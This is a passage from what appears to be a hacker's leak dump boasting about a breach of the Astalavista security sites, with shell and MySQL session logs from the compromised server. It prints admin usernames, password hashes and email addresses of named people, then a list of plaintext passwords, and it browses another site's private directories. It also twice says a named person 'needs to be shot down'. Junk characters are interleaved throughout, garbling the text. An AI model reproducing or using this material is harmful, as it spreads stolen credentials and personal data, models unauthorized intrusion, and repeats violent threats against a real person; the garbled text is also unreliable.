. B% K5 j7 w) Z* `/ G3 F <description>All availably Exploits.</description>
. W/ O1 H: H6 ] <language>en-us</language>
- `/ P! t" j6 K3 t4 E1 ` <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
1 A8 Q+ H, W$ |: ~9 n2 ]3 A <docs>http://blogs.law.harvard.edu/tech/rss</docs>
. i4 y$ R: ~2 H/ C+ } <generator>Astalavista.com</generator>* o+ V) {. ~2 a+ ~7 X
<webMaster>info@astalavista.com</webMaster>’ . $items . ‘
- a7 u0 t( l5 q8 z </channel>3 e3 Y: P- C1 N" G. L
</rss>’;
$ p% x4 T: L! f) j7 [
9 ` }& ^, r. s! g# | if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {" ?9 j; X4 Y& I( N! p/ N
unlink (FULLPATH . ‘/feed/exploits.xml’);( d" K) A. f# c( s- B# u
}4 `- L( @7 D. C8 c! w7 c% S
^) p5 C/ S- y/ M8 D
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
- n; v* O I. J8 p[snip]% N; s: l; O z$ K' r; l% e
; c+ q4 g" \% p8 J7 G# L3 N
sh-3.2$ cat exploits.sh
4 ?4 h% E. e3 I#!/bin/sh5 f0 B7 Y- ?- x" |1 O9 B0 q
$ ` Y3 r1 b1 F7 h
###########################################################
2 f* x* K- {( h# #: H: l1 a% {5 [6 ?7 i% G5 ^
# Title: milw0rm exploits adder #
3 s; z6 d1 `" E4 e' \; ], |# Description: Add all milw0rm exploits to the #8 L$ W$ ~/ I |6 b; T1 Z6 H; n
# Astalavista.com database #9 T8 x" O$ M; K$ ?+ V4 |+ O% c
# #( J& {/ q" F; [7 w* B4 R% t
# Company: Astalavista Group #
# Z+ i+ \& R" c& A0 J' ~# \# Author: Paulo M. Santos #$ f) c8 b3 E; a3 r, E
# E-Mail: 链接标记paulo.santos@astalavista.ch #
! e6 y' F7 X! [# Z( O! q6 q# #
: Z z) X* V% S/ W5 ^! R###########################################################! y& Z8 |# @3 `8 q' Z
% ?# L& A% t: S* C2 i3 G
# path% @+ Z1 e1 O( |/ ~! O! a* E
this_path=/home/com/public_html/modifications/cronjobs
4 A" A- }, _3 _& f9 m
3 L |+ L3 K8 Q2 Q- v6 ]0 o+ G# change directory
3 m8 t! e7 H$ O" ~9 i* F! ?9 b+ Gcd $this_path
4 i: b1 n6 X' K+ pcd tmp/
' V+ X. ~; u/ K# C _/ a6 E8 g3 i" W. k7 e
# delete files0 _" e" n( V" P
rm -rf milw0rm.tar.* &% M5 `& x6 G2 w) l6 r# \
rm -rf milw0rm/ &
, e$ U& D& D9 N' h$ }: K0 K- e7 F0 T I1 X
# wget milw0rm paket3 P2 Q1 I0 d3 o: L4 s) Q3 z+ J1 y
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]* {) \8 y5 `( M- ^
& v& [' l# B& ^/ k0 I# extract milw0rm paket' A) b( |6 b6 ]
tar -xvf milw0rm.tar.bz23 m5 K; a* ~( K( l( v- D2 P
+ I2 g/ \7 B! ^; s. @! a# change owner7 }- y& y1 J3 m- B; c/ ]6 w
chown -R com .4 `% G6 o7 N7 C) U3 u/ f4 x
chgrp -R com .
) v m5 t: V5 e; b5 R
# e. y6 i. d. c1 o. {" I% Q5 L# execute php script: h+ K) Y" W4 h( i+ U# X" Q
cd $this_path# G4 X C) x# E5 P" B% w4 `7 O
php -q exploits.php+ G% F' D& }& o. T& g
9 r& K& ]' [* d( F5 O2 Y
# delete files
?! r% G- X4 O6 ~8 q% Qrm -rf tmp/milw0rm.tar.*! O9 l" L) v. k2 o. h! j" C: g E
rm -rf tmp/milw0rm/0 C. ~- M! I+ B4 t. K2 ?* a9 ]- X
- W. d; Y. e1 J8 Osh-3.2$ echo “Paulo M. Santos needs to be shot down.”6 Q- Z, Q$ Q2 e( c( s; _
Paulo M. Santos needs to be shot down.7 z7 [. M' x( g/ P: u
+ @, r% }2 M4 Zmysql -u contrexxuser2 -p; g- d; r( P N2 ~
Enter password:
, I) c" _, i" U: c# d. K$ EWelcome to the MySQL monitor. Commands end with ; or \g.
6 w& b; X; N% ]! w1 ~Your MySQL connection id is 261694. |% t& \3 {0 j3 K9 t
Server version: 5.0.45-community-log MySQL Community Edition (GPL)% W% p1 y6 h" @" y6 K8 G1 }; F
1 s7 v8 z4 w" Q* |, f$ J% KType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
1 h v' O- ^- y1 o ]" z- B0 }, [& ^# d1 | p' D7 d
mysql> show databases;
" d# I3 i$ D$ u, Y6 G- B+——————–+
( {( Q1 d! l4 `+ i| Database |: w$ e9 x6 y, l2 H: A8 h7 H) W
+——————–+ M3 r0 X: E3 F/ Q
| information_schema |
, _) X; \ ?& @* a) y6 D| com_contrexx2 |
1 V0 N/ {8 F" M# }( H2 S( k) k$ G9 || com_contrexx2_live |2 H# [8 U3 `% b$ a, `
| test |8 v B% f' o0 Z# J3 y7 w
+——————–+1 g; n4 k" o$ Q' V4 }' ]
4 rows in set (0.00 sec)
3 ]7 S9 x* d3 Z+ ?
8 A# J( D0 }, m) F! D3 l5 cmysql> use com_contrexx2_live
( \1 _2 T5 D! PDatabase changed
! X' n4 _+ R [" Bmysql> show tables;) h0 I% ] X" w
+————————————————–+* c0 a: k/ @# G' W% k) p7 N
| Tables_in_com_contrexx2_live |
3 F, o: K3 H1 Q" K0 j7 [+————————————————–+
" Z9 z/ r. ~3 g8 |; f| cc_banner_counter |
: x X% O/ @* ~; q% t9 l1 U6 L| cc_search_counter |
% k/ o# I7 J, @2 D' Z* \1 p| contrexx_access_group_dynamic_ids |/ S- P8 | F. Y% E3 s6 F, ?
| contrexx_access_group_static_ids |2 d+ Y3 Z$ E8 ^
| contrexx_access_rel_user_group |
# }: w) {0 D# L2 M; s| contrexx_access_settings |
! L8 C; {( G9 \& o) || contrexx_access_user_attribute |7 w0 O! j- z+ a4 r' j4 J2 B: D
| contrexx_access_user_attribute_name |
, a( t" m5 [" Q, v; e| contrexx_access_user_attribute_value |
" u$ ]4 }0 k' |! ~/ B b# C7 V| contrexx_access_user_core_attribute |
5 |& f/ Z1 P/ E j5 J8 O| contrexx_access_user_groups |6 e( N- Y8 P- k
| contrexx_access_user_mail |
2 C9 J0 ~( k6 r2 ?( D9 U| contrexx_access_user_profile |
( p: z- q! H, ^5 x5 Y ~5 t| contrexx_access_user_title |
" V9 b( B/ q) ~; c# o| contrexx_access_user_validity |) C" K; D9 ^. ]% y" j
| contrexx_access_users |
) D/ t, p' W- X" V| contrexx_backend_areas |
( l. `, B# w! i, S7 O| contrexx_backups |% M' O! H3 G q. J
| contrexx_content |+ ?- z5 |1 }$ w- |' H
| contrexx_content_history |
/ a2 q! @8 o" y, B3 M+ \5 g C| contrexx_content_logfile |
0 L; j! P9 u' c: [, j$ U3 ?| contrexx_content_navigation |
' a: D% |5 ^" K5 k0 N6 x9 `| contrexx_content_navigation_history |% _2 t1 V% j5 ^0 P+ O0 L$ c
| contrexx_ids |
0 X( Z- N) g# @| contrexx_languages |
; P, w! D# W" T| contrexx_lib_country |
9 c+ q+ T! l" N9 B: m4 \| contrexx_log |' \5 K' ^6 ~5 L1 _9 Z! P
| contrexx_module_alias_source |
7 K) r. `4 d" N. @/ S- C' g5 e. c2 o3 q% O| contrexx_module_alias_target |
. d. Z+ l# C' k/ E" N| contrexx_module_block_blocks |4 E0 w5 y! M) A7 k( \
| contrexx_module_block_rel_lang |" ^6 h9 `. f) v# v
| contrexx_module_block_rel_pages |5 P( L. V; `) J' x) v
| contrexx_module_block_settings |
& V( o/ q% y* r* `3 q6 b v" [| contrexx_module_blog_categories |( Z. j: a# I! a) S: ?, ~! F( \
| contrexx_module_blog_comments |* j' u* i) _* A4 P
| contrexx_module_blog_message_to_category |
! c2 }! V7 z- e| contrexx_module_blog_messages |
$ a1 V2 e; G q| contrexx_module_blog_messages_lang |- p2 ^: n( `- U; m7 f5 f; Y$ [) B
| contrexx_module_blog_networks |
' |. N* |' d7 ]| contrexx_module_blog_networks_lang |
6 K. V) V3 U$ N$ ~8 @| contrexx_module_blog_settings |
- L3 S8 P; e, b8 K| contrexx_module_blog_votes |
) c' l$ G2 R' q' T| contrexx_module_calendar |
( r$ f0 |- B0 E% @( h/ U0 q& q4 m| contrexx_module_calendar_access |
; \+ G9 X& ]8 v| contrexx_module_calendar_categories |
4 r3 r6 M! _6 y. w5 l; O) m, G| contrexx_module_calendar_form_data |
" X. S0 W/ t! C1 l! F# L: _| contrexx_module_calendar_form_fields |
& Z# y- W+ W. l! Z9 `+ U| contrexx_module_calendar_registrations |
% ~' l+ ` G. q* I l| contrexx_module_calendar_settings |4 J' d7 K2 Z6 q A6 c4 }7 {
| contrexx_module_calendar_style |4 t1 I7 Y6 E$ H6 P- J, s
| contrexx_module_contact_form |
: Y" t7 c S- F1 ?3 M| contrexx_module_contact_form_data |
( E0 Z3 K7 e; G( K8 f| contrexx_module_contact_form_field |$ r/ z' q1 u [8 \
| contrexx_module_contact_settings |3 v( c: N6 g# z7 z
| contrexx_module_data_categories |5 S/ y( f2 J) f/ j% c8 b: c. J
| contrexx_module_data_message_to_category |1 J3 a( s j9 K1 x4 l; n+ N
| contrexx_module_data_messages | [: |5 ?: a( k# c3 k6 u
| contrexx_module_data_messages_lang |
9 P9 |# l: |5 Z1 n| contrexx_module_data_placeholders |- P$ m% H7 l" ^. z
| contrexx_module_data_settings |" C$ {6 J. y) i2 @
| contrexx_module_directory_access |
% q8 H! h q7 ?$ V6 j: z& k9 P/ b| contrexx_module_directory_categories |) F- j: [$ e; l) x$ n
| contrexx_module_directory_dir |
1 t" ]( h4 r" f4 C( e| contrexx_module_directory_inputfields |
R! ?3 Q5 ^$ \- D| contrexx_module_directory_levels |
/ @. p. {2 K8 b+ E; A% n0 n| contrexx_module_directory_mail |( I3 g9 m2 [3 {# z/ Q& n
| contrexx_module_directory_rel_dir_cat |
0 q- [4 v; t/ j2 z. Y* D0 Z| contrexx_module_directory_rel_dir_level |
! W" ~2 d! v6 T| contrexx_module_directory_settings |
# ~0 x, a1 O* {! q| contrexx_module_directory_settings_google |
o6 T, L- z' P/ R% S| contrexx_module_directory_vote |
6 Z- q3 k6 q, }3 d: I+ i| contrexx_module_docsys |
4 w+ N+ B, l1 n, p3 C! o& u2 q1 K. q6 c| contrexx_module_docsys_categories |
$ k* Q, ~4 A0 M7 k; v3 ^| contrexx_module_egov_configuration |' D. F3 o2 t7 e; g) c
| contrexx_module_egov_orders |. Y4 k: _1 i4 o- k4 k
| contrexx_module_egov_product_calendar |9 P! H4 N: u7 \* c
| contrexx_module_egov_product_fields |$ m- G' ~& k1 u+ j- i5 C
| contrexx_module_egov_products |
l; B r1 p. H! H' h! M| contrexx_module_egov_settings |* R6 J9 h3 x6 T; G
| contrexx_module_exploits |0 Z+ V- n5 p' g# ?, w3 z E! b
| contrexx_module_exploits_categories |
# V% W) i0 f, \# t0 ^| contrexx_module_feed_category |
0 G# v1 u- S: ~( A6 J+ b- `% T| contrexx_module_feed_news |
. o8 m$ S2 D9 `8 ^# y| contrexx_module_feed_newsml_association |- d+ `8 q/ R. ?+ |1 b* T
| contrexx_module_feed_newsml_categories |
3 ?8 j0 h2 [" K( E% d4 _, w1 X& V| contrexx_module_feed_newsml_documents |
( R8 O' {8 O- o; d+ F7 k- M+ J| contrexx_module_feed_newsml_providers |
4 p/ U% w ~5 K7 v| contrexx_module_forum_access |
* N3 n$ e9 x d1 J ?! [% r% L| contrexx_module_forum_categories |
" ] R" f, ]* R| contrexx_module_forum_categories_lang |
6 _! u0 j" U+ r" `% {| contrexx_module_forum_notification |. _% |& N7 Z) p0 E3 K2 d$ v& y# {
| contrexx_module_forum_postings |% y& U4 Z: |, u6 V* |! j
| contrexx_module_forum_rating |: z! O$ u$ ]0 N
| contrexx_module_forum_settings |$ C0 ~. m5 `9 Q4 M8 A# o) k
| contrexx_module_forum_statistics |
& u+ N5 M5 b& x5 q% m| contrexx_module_gallery_categories |( z1 S" e* A( `: _0 V+ T1 B6 ?+ G- ]
| contrexx_module_gallery_comments |
* a( T' ?& t/ k| contrexx_module_gallery_language |
, ^- A0 C7 D2 V: K' i6 E7 Q, }| contrexx_module_gallery_language_pics |
1 K5 P+ D, N: \* g. s- v* B, e8 ^| contrexx_module_gallery_pictures |
6 _& W8 l. h% W+ ]/ z| contrexx_module_gallery_settings |7 c( g# Z5 _+ Y Z' p: _
| contrexx_module_gallery_votes |
. M3 \6 r5 _( l: F' j) q Y1 y| contrexx_module_guestbook |
V1 c+ f8 D1 {| contrexx_module_guestbook_settings |
3 W* _) G8 l7 Z9 Z# X| contrexx_module_livecam |
) _5 r, _0 V" w; I3 ?0 t, X2 _| contrexx_module_livecam_settings |
q/ o- {# [% y9 W* L/ [| contrexx_module_market |
) P" `) y. f) s, Q6 b| contrexx_module_market_access |
/ ~- w$ K+ C2 s/ w& R8 _5 w% f) e2 M| contrexx_module_market_categories |: y4 q5 H/ F. Y, P% H) |
| contrexx_module_market_mail |9 g5 I$ w4 g* r
| contrexx_module_market_paypal |
5 |0 ~6 r I u+ T* ~# X' c| contrexx_module_market_settings |
5 N# m" C; f0 h7 @5 ~7 G+ A| contrexx_module_market_spez_fields |3 {7 A, Z( {1 f& V m
| contrexx_module_mediadir_access |: |: G2 n7 k" k8 v* F) V9 e) G
| contrexx_module_mediadir_categories |
/ u( g' ~+ ]) R1 ~| contrexx_module_mediadir_comments |
0 _& L8 F* }' E4 M7 z; j; M| contrexx_module_mediadir_dir |1 j* K& O/ W/ V, H3 g
| contrexx_module_mediadir_inputfields |
( G& L' i7 u; `# o| contrexx_module_mediadir_levels |+ F* n+ q* w4 B* k& j
| contrexx_module_mediadir_mail |
- |' ~7 F+ u# H2 J! S| contrexx_module_mediadir_rel_dir_cat |% U2 e$ \8 O, f \! x4 j$ `" t
| contrexx_module_mediadir_rel_dir_level |
5 q! D9 q+ `4 p3 G4 W| contrexx_module_mediadir_reports |# i, `* O8 F- L$ L4 H
| contrexx_module_mediadir_settings |( k% K5 Q) N2 @7 l
| contrexx_module_mediadir_settings_google |
- \# y' a& d: A @) N| contrexx_module_mediadir_vote |9 ?, U* ^% y* T- ^
| contrexx_module_memberdir_directories | ?1 i% Q' M0 O, s8 f0 x, B+ s
| contrexx_module_memberdir_name |
$ S6 a. [$ r* S. u# l/ z! g. a| contrexx_module_memberdir_settings |- ]. J) H5 z+ S8 S6 [( P
| contrexx_module_memberdir_values |% n+ [4 `& p. q8 w0 ~) l
| contrexx_module_nettools_allowed_groups |0 \. {. G% r: ?5 q! I6 k
| contrexx_module_nettools_settings |
+ q% X' e5 c: l| contrexx_module_news |/ C% ]) C4 s4 |9 U6 c7 I0 ~8 k
| contrexx_module_news_access |
6 c+ @$ x/ ^8 s8 q6 p5 j| contrexx_module_news_categories |
$ ` U) G* k) S/ u0 |* z| contrexx_module_news_settings |# \+ v; J$ r) p& C, b) Z' }
| contrexx_module_news_teaser_frame |
) H, ?$ `, ]. D G| contrexx_module_news_teaser_frame_templates | X1 Q* g. R1 u7 N" J) S2 r2 g7 _
| contrexx_module_news_ticker |
# L) N( m h$ A6 [| contrexx_module_newsletter |
+ f) _: H% w) Q/ f7 n1 A {. H| contrexx_module_newsletter_attachment |7 `, Y( k W/ v& O
| contrexx_module_newsletter_category |. l) }6 U+ x; p- n; q7 I% x6 S
| contrexx_module_newsletter_confirm_mail |- f" T% Y' Y3 V9 d
| contrexx_module_newsletter_rel_cat_news |
+ t4 s5 G6 ]" h M2 z! E( G| contrexx_module_newsletter_rel_user_cat |
: V) x5 y' A) t3 T/ O7 Y+ ]6 ?) r| contrexx_module_newsletter_settings |
6 {; e) M, p" U- f* F& {) W4 ]! X' Z. j| contrexx_module_newsletter_template |3 g i+ N W& G( N _) S
| contrexx_module_newsletter_tmp_sending |
" k& A( ^% m- Q- E| contrexx_module_newsletter_user |/ z. L* J. Q4 w- r9 w3 `9 a
| contrexx_module_newsletter_user_title |
( Y) T$ j( v& [| contrexx_module_onlinetools_defaultports |
4 l) v" m3 V+ y0 `5 l) ^/ E| contrexx_module_onlinetools_defaultports_back | [, C4 W- @4 p2 ?7 z( u% T6 S
| contrexx_module_onlinetools_geolitecity_blocks |
+ v8 g) c4 j, d( V; E' M| contrexx_module_onlinetools_geolitecity_country |
& D) y' x. X; || contrexx_module_onlinetools_geolitecity_location |
5 b+ K; w* H6 c! b| contrexx_module_podcast_category |
Z+ A6 }' Z+ `' D" q| contrexx_module_podcast_medium |
) D0 d" T. |5 G1 L& w4 }0 }| contrexx_module_podcast_rel_category_lang |& @3 m$ F7 j6 l+ W: U7 U+ s+ r
| contrexx_module_podcast_rel_medium_category | b9 H" ~1 ? K: Z8 ]1 |- x3 x9 y3 ?
| contrexx_module_podcast_settings |7 X: ^8 h' K0 D2 u6 p, A
| contrexx_module_podcast_template |
7 |* `: _0 h: \+ _& Y0 L| contrexx_module_proxydb |2 s3 g- b+ N" W4 c
| contrexx_module_recommend |
7 {" ^3 U& Q+ x! T| contrexx_module_repository |. n# h% ^4 L$ P3 t, G9 M5 T: `& D
| contrexx_module_securitynews_cats |
1 a/ a7 H' {9 C1 A| contrexx_module_securitynews_feeds |
0 Y& k2 E- e4 G) B2 \- a| contrexx_module_securitynews_news |
# F q+ S* d; p2 D$ K| contrexx_module_shop_categories |
( S9 o) R$ }$ K5 v. ~| contrexx_module_shop_config |
$ l& y4 u* B9 | t9 K* n3 {3 y4 H| contrexx_module_shop_countries |1 q, s3 y& T+ N
| contrexx_module_shop_currencies |
2 B/ q3 i8 T/ R3 L9 q| contrexx_module_shop_customers |
0 B( X3 t! E; }% F1 C8 M7 h| contrexx_module_shop_importimg | x$ a% G0 r% \
| contrexx_module_shop_lsv |
0 a% @# `8 a0 K! g$ O0 S6 M7 e| contrexx_module_shop_mail |
8 _ P$ r- p# {| contrexx_module_shop_mail_content |2 I* }- j9 b3 V r, ]
| contrexx_module_shop_manufacturer |
5 z/ \$ d5 k1 N4 f/ M| contrexx_module_shop_order_items |" a% j& `' \# ^1 q4 l) d, K
| contrexx_module_shop_order_items_attributes |
3 d7 Y; b7 m) Z( H5 }# _| contrexx_module_shop_orders |
" U6 @9 ?2 w( E. v7 S| contrexx_module_shop_payment |+ Y/ m- `6 ?& e
| contrexx_module_shop_payment_processors |
6 y. b, e* @4 Q$ h6 x6 e| contrexx_module_shop_pricelists |
- r9 p; N9 N* \( k* k| contrexx_module_shop_products |. M2 f5 {) j8 c
| contrexx_module_shop_products_attributes |) A, @" R& r+ X* F v. n
| contrexx_module_shop_products_attributes_name |
' d& ~! _9 T4 L- Q0 a5 R| contrexx_module_shop_products_attributes_value |
% h! t& r2 r+ _' j8 C| contrexx_module_shop_products_downloads |
0 \1 c4 c9 V* {7 P- X| contrexx_module_shop_rel_countries |; E, q; H- Q. S. T' U
| contrexx_module_shop_rel_payment |7 b& D' T- k# t6 \; j/ _+ d
| contrexx_module_shop_rel_shipment |, c( |: |" @* }
| contrexx_module_shop_shipment_cost |
( ~ J# {6 q/ S3 F| contrexx_module_shop_shipper |1 |, S p- }8 q# u# ^ ~2 O
| contrexx_module_shop_vat |
& P1 M" k9 T+ N" l, d| contrexx_module_shop_zones |1 ~" d* E9 w" u6 {6 u" B! X) p2 C1 T/ @
| contrexx_module_u2u_address_list |
7 _$ B- q+ L3 R, S* W$ Y6 A9 U| contrexx_module_u2u_message_log |
5 h' T' A) l8 ~- e. V5 v+ L4 `8 o| contrexx_module_u2u_sent_messages |; _" }; n: [- x$ ?% `1 \
| contrexx_module_u2u_settings |
0 O) ?, i3 P0 W; F1 w4 C1 i/ V| contrexx_module_u2u_user_log |
# U$ n8 d3 B4 d! v" P6 @: H8 W4 a$ e| contrexx_modules |4 b" @# `* {, H) b2 R
| contrexx_sessions |
0 d3 b3 L: U3 {. E3 g| contrexx_settings |
2 E- o9 t3 d0 w1 `| contrexx_settings_smtp |; j6 ]+ v# p" ?0 k7 I
| contrexx_skins |( Q9 S& b! H- K4 a5 g3 S
| contrexx_stats_browser |% Q7 R: c* O/ ]2 _7 Z
| contrexx_stats_colourdepth |
5 d9 d0 C& a7 D4 f, [| contrexx_stats_config |1 c/ S, F9 o9 ^2 \
| contrexx_stats_country |, o& K1 Y) `' v! a5 z L
| contrexx_stats_hostname |
. S* \" n& r2 {4 B3 E5 ?: p8 V| contrexx_stats_javascript |
- J+ q9 p) X5 l* U0 |9 B| contrexx_stats_operatingsystem |% I: X4 l! Z6 Z& S5 J, a0 R" |
| contrexx_stats_referer |1 |; A) W1 ^, q0 ^- ~% n
| contrexx_stats_requests |
& `4 @9 m" [- y. w( M. z5 c5 x' f! b| contrexx_stats_requests_summary |
* Q b8 R3 S$ |+ {$ P3 I| contrexx_stats_screenresolution |! ~' I' ~( `% H
| contrexx_stats_search |$ o, J5 s" }0 ^+ Y0 j* I; X
| contrexx_stats_spiders |
( g* o: q, r' I9 K- [1 e| contrexx_stats_spiders_summary |
+ U0 t( w. o- F/ ]- Z" \| contrexx_stats_visitors |
' w6 l' I5 d/ x S% m8 L& e2 ?| contrexx_stats_visitors_summary |' ~6 ]$ M6 u, [
| contrexx_voting_additionaldata |
( d: B @; ^" b5 g/ k: J0 [5 }| contrexx_voting_email |) D+ z, U! S) T
| contrexx_voting_rel_email_system |
" X2 }5 X; c5 B p' ^| contrexx_voting_results |8 T/ L6 x/ N- f' p$ d0 n+ \3 k
| contrexx_voting_system |
2 t' u7 O H& a0 W| foo |2 O3 T4 N, G: Y1 }' G+ c+ u
+————————————————–+
" f/ v4 }( [( t' N7 y( j8 m+ r227 rows in set (0.01 sec)% a2 U; `* k3 J$ Z+ U; [% k! Y
+ K3 @+ T$ [2 }6 T4 j a2 m
mysql> select count(*) as skids from contrexx_access_users;
! r7 [. D, `2 K3 S+——-++ i) N. J7 u0 x0 {
| skids |, \3 M" s; q* J( ^
+——-+( V5 W# \! e( L, K5 R" F
| 53699 |5 o/ E6 P% e1 b# u+ q
+——-+
6 ]# b7 M4 @( E. G1 row in set (0.00 sec)! h6 `) Z: f8 P5 q1 E, H" g
- [/ O2 j2 U0 \& F5 m3 t
mysql> describe contrexx_access_users;
8 x* F, A6 \0 s+ v+——————+——————————————+——+—–+————–+—————-+# L: E" w' n. n0 ?
| Field | Type | Null | Key | Default | Extra |" n' I+ x2 q$ J3 o- K1 [
+——————+——————————————+——+—–+————–+—————-+
$ |( D3 r5 ~0 Y) H| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
2 A. l* ]& U# ~- C2 @& p| is_admin | tinyint(1) unsigned | NO | | 0 | |
, j& H$ S9 j* k| username | varchar(40) | YES | MUL | NULL | |
6 H* @5 P7 ]! {4 N| password | varchar(32) | YES | | NULL | |
- w6 c% q* w4 g# |' ~| regdate | int(14) unsigned | NO | | 0 | |6 `' ~2 L8 Q6 U& o" F0 J& f# _+ O8 p
| expiration | int(14) unsigned | NO | | 0 | |
4 S% S; o# A" r( ]9 W& _ u7 j& R. K3 w| validity | int(10) unsigned | NO | | 0 | |* ]+ w( b0 h0 ^0 p8 s+ M
| last_auth | int(14) unsigned | NO | | 0 | |" d) Y: b& o1 x
| last_activity | int(14) unsigned | NO | | 0 | |
$ @% n% T1 @4 H1 u% K; f| email | varchar(255) | YES | | NULL | |- f. T8 {- ]# e |
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |
8 N2 r- J2 ?" R: W1 I f| frontend_lang_id | int(2) unsigned | NO | | 0 | |
; `4 E5 G, P8 @" X| backend_lang_id | int(2) unsigned | NO | | 0 | |: A/ D* i" e0 T/ x, _$ q( v
| active | tinyint(1) | NO | | 0 | |: q: e4 J1 x5 u0 i& ^" m5 [3 S
| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |7 T& S5 D6 z- A5 G
| restore_key | varchar(32) | NO | | | |6 ^. a, m3 J2 }. O) U
| restore_key_time | int(14) unsigned | NO | | 0 | |
( _: @- l d; N0 f4 [! T| u2u_active | enum(’0′,’1′) | NO | | 1 | |) Z0 C/ o5 y4 y3 o- `
+——————+——————————————+——+—–+————–+—————-+
3 I1 p) i! E# C2 Y18 rows in set (0.00 sec)
+ Y: j2 S7 l) v. R5 f
9 F$ S* Z6 H/ n0 L& b1 N" Gmysql> select username,password,email from contrexx_access_users where is_admin = 1;
" {0 O2 }: J4 J5 O+————+———————————-+—————————–+
$ r% f" L; k$ b! {8 O| username | password | email |
) W$ N' I9 v6 A! V, d" e( y& k3 r/ h+————+———————————-+—————————–+4 ]+ y- ^4 B4 ~6 T, V
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
4 b: T( ~ C& R, U3 l| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |
/ U% P' u& j% W' H$ _* w5 X| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
7 `- k2 K8 {$ G/ J5 w6 D. c| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
6 B+ ?; f7 {* n3 c6 `/ ]6 s+————+———————————-+—————————–+
, ]. q3 @+ c2 P, @; P. N/ i5 g4 rows in set (0.04 sec)* S! u$ y" w' G: ]& x" k
8 b4 y: q6 J& H0 u* t8 W1 j+ P" qmysql> exit;
6 n! K* d6 s. ~2 C; A& z& XBye
+ F" {1 a! N* p# X9 d8 ]9 M
4 a, P, ?! }1 c2 J1 L% ^[~] There you go, your “team of security and IT professionals” is a joke.
2 m: N: D9 h+ Y2 n# b
3 ~1 N# X+ g8 |+——————————+5 v/ ]/ W- ~! z: C V/ y) q
system:f82BN3+_*: g8 X( N6 ]* B9 @, i: ?
Be1er0ph0r:belerophor4astacom
! z2 l) m+ i' \4 Hprozac:asta4cms!- V; t5 W( @# C" V* q
commander:mpbdaagf6m
) s6 |# A4 O; b: Y) M# O/ X5 B! Vsykadul:ak29eral
8 q# F+ J$ O% i% ^4 i- r% \1 q+——————————+
4 ]% N+ b7 s2 _7 A9 r% R% L' j0 m6 F( U& X4 J
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)! l2 T) G, v8 ~8 w, v
…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.
c1 e. p l7 N' h" w$ {& n; }4 D! A; W+ ^4 c
[~] Lets move to astalavista.net now,
7 L+ u# Y T U+ l" D+ L( Q2 y2 d* a# H5 c
From <链接标记[url]https://www.astalavista.net/[/url]>:2 m& ` T6 O: k) I. F: z6 e
>> Everyone knows that the best defense is a good offense.6 L. t. X1 c I- M: @
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.: m6 T) z4 g3 D- [+ o: `+ u2 a+ Z" k2 ]
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.6 ~1 w3 h# o! R; @& D6 G2 R. Q* \% `
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”* P! v' J" m: V
: p3 K, z8 w \* v, G$ B>> Go ahead, try and hack our server . in a completely legal way!, p$ W+ T+ \! `9 c; L0 g0 r( W
>> Learn by doing: We offer our members tricky tasks and challenges on an
. g- c1 O0 c/ V- ^>> ongoing basis so you can test your knowledge and abilities. You can also7 R1 z; y K$ E" j' ?& G' t
>> demonstrate what you.ve mastered by taking part in regular hacker contests
- C3 }. Q; G) Z- m>> and war games- m( [ @$ X" D5 r: F
" l7 g8 i# Z5 _[~] Lets take a look there, after all… they are hack-proof, aren’t they?!' p8 m3 g, u4 V+ s
8 `2 R) r, R9 o, i; k4 [[-] Tricky task: Find home dir of astalavista.net
6 t& A2 Q5 N; Q7 S l, M7 H4 d) d5 t" Z
sh-3.2$ ls -la ~astanet
& P" Z$ _* A) [1 vtotal 48
8 U4 g1 s8 m6 U7 S4 ydrwx–x–x 6 astanet astanet 4096 Dec 23 15:55 ., h! Z1 {: k% n6 |5 H, x# B6 t
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..6 K' `, o9 S. P/ G
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
5 P& j* x& g( T% N, t: ]% l-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history" P/ E& V* E/ w
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout$ }) A: k$ h" I
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile2 N! E+ `1 q' [+ K2 v
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc5 ~* F) P2 N. q4 G, P* X: j* v& a( |
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains; \: q& _( v$ m# V- c! p
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap! E$ @6 R" v: G. v+ h3 H& k
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
4 W% D) }6 j! r r* k# W. slrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html
- u$ j. ^6 q. T3 q+ k-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow$ G1 p( q2 }- [2 z6 G+ d1 H
3 x8 j" T) u' G! ?sh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/0 i* {( j* L$ i1 k5 v
sh-3.2$ ls -la8 E( @3 \/ ~: e c9 N: |8 W
total 200* v8 g+ A/ [, q+ \# |- d
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ., P% P6 J* L, J9 |4 S
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ..: L! m% }$ K* ^7 D/ I. D
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007 f( a; V3 e1 d- m3 r
